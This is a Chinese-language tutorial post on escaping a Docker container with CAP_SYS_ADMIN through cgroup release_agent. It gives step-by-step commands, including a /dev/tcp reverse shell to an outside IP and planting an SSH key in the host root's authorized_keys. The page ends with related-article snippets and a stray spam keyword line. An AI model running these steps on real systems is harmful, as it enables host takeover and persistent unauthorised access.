<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CAP_SYS_ADMIN之利用notify-on-release進行容器逃逸

    一顆小胡椒2023-06-25 13:55:00

     當容器具有SYS_ADMIN的Capability的話,則可以進行容器逃逸。它允許大量的特權操作,包括mount文件系統,交換空間,還有對各種設備的操作以及系統調試相關的調用。

    環境搭建

    執行如下命令啟動存在漏洞的容器環境,在賦予sys_admin權限的同時,需要關掉安全組apparmor設置

    docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest
    

    在容器中使用cdk進行檢測,可以看到容器中多了CAP_SYS_ADMIN的Capability

    也可以手動檢測Capability

    cat /proc/self/status | grep CapEffcapsh --decode=00000000a82425fb
    

    利用notify-on-release進行容器逃逸

    在容器內掛載宿主機cgroup的memory

    #將cgroup進行掛載mkdir /tmp/test && mount -t cgroup -o memory cgroup /tmp/test#接著我們在掛載的目錄下再創建一個子進程,主要攻擊目標應在子進程內,因為攻擊的過程需要將cgroup下所有的task清除,所以在同樣環境的子進程內進行更加合理安全mkdir /tmp/test/x
    

    第二步就需要我們設置notify_on_release文件內容為1,設置release_agent文件的對應路徑為宿主機的可寫目錄upperdir

    echo 1 > /tmp/test/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/test/release_agent
    

    其中,cmd為需要宿主機執行的命令,本次使用sh反彈shell:

    echo '#!/bin/sh' > /cmdecho 'sh -i >& /dev/tcp/172.16.200.60/4444 0>&1' >> /cmdchmod a+x /cmd
    

    清除cgroup.procs中的進程,觸發release_agent執行cmd文件進行反彈shelll。該命令啟動一個sh進程,將sh進程的PID寫入到/tmp/test/x/cgroup.procs中。這里的\$\$表示sh進程的PID。在執行完sh -c后,sh進程會自動退出,這樣Cgroup /tmp/test/x 中就不再包含任何任務,/tmp/test/release_agent文件里的shell將被操作系統執行。

    sh -c "echo \$\$ > /tmp/test/x/cgroup.procs"
    

    也可以使用CDK來執行命令。CDK會劫持宿主機cgroup的release_agent文件,通過linux cgroup notify_on_release機制觸發shellcode執行,完成逃逸。

    ./cdk run mount-cgroup "cat /etc/passwd"
    

    可以寫入公鑰文件,注意這里最后需要加個 |

    ./cdk run mount-cgroup "echo 'ssh-rsa xx    '>> /root/.ssh/authorized_keys | "
    

    但是還不能免密登錄,由于等過這種方式寫的公鑰文件權限的原因,還需要之行如下命令進行權限修改。

    ./cdk run mount-cgroup "chmod 644 /root/.ssh/authorized_keys"
    

    testcgroup
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    當容器具有SYS_ADMIN的Capability的話,則可以進行容器逃逸。它允許大量的特權操作,包括
    恰巧近期有一枚和容器逃逸相關的漏洞:CVE-2022-0492 Linux內核權限提升漏洞可導致容器意外逃逸。
    搭建 k8s docker 漏洞環境
    安裝Linux系統最小化,即選包最小化,yum安裝軟件包也要最小化,無用的包不裝。開機自啟動服務最小化,即無用的服務不開啟。Linux系統文件及目錄的權限設置最小化,禁止隨意創建、更改、刪除文件。在生產環境中,刪除多余的賬戶信息。
    最近在學習云原生相關的滲透知識,該系列文章記錄學習過程,包括基礎知識(主要是k8s的搭建使用以及一些概念等,docker基礎使用操作不贅述。)、工具的使用、逃逸漏洞復現等。 服務器準備 騰訊云 云服務器,新建三臺服務器(香港地區)。
    目前Linux內核代碼已經達到了2700萬行量級[2],僅每年通報的Linux內核漏洞就多達數十個。Linux內核主要使用C語言編寫,由于C語言不是類型安全語言,而且偏底層,所以各種內存破壞類漏洞層出不窮。攻擊者利用內核漏洞可以達到本地提權的目的。容器技術本身依賴于Linux內核提供的Namespaces和Cgroups機制,利用內核漏洞,攻擊者可以繞過Namespaces對資源的隔離,達到逃逸的
    前言獲取某個系統shell后發現其是docker,這時候我們就需要進行docker逃逸來拿到其真正宿主的權限
    SOCIALNETWORK打靶記錄
    2023-05-29 09:14:26
    對隱藏路徑進行爬取和發現:打開后發現是一個代碼執行頁面 如果過濾不嚴格可能可以通過該功能直接執行代碼操作。通過查看是否存在dockerenv這個文件,如果存在則大概率就是一個docker容器系統。16個網段,存在65535個ip。在kali系統上啟動http程序,在目標靶機上運行wget,將kali上的a程序下載過去。使用賬密進行ssh登錄。
    滲透測試Tips
    2022-04-13 06:38:50
    知己知彼,百戰不殆1、如果提示缺少參數,如{msg:params error},可嘗使用字典模糊測試構造參數,進一步攻擊。
    特權模式逃逸和掛載目錄逃逸是最常見的逃逸手法。 特權模式逃逸,也就是熟知的--privileged選項啟動后容器不受seccomp等機制的的限制,常見利用就是掛載根目錄或利用docker.sock創建惡意容器。 而基于容器特權模式逃逸也分不同特權情況,本文總結常見特權模式下不同Capabilities常見對應的攻擊手法。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类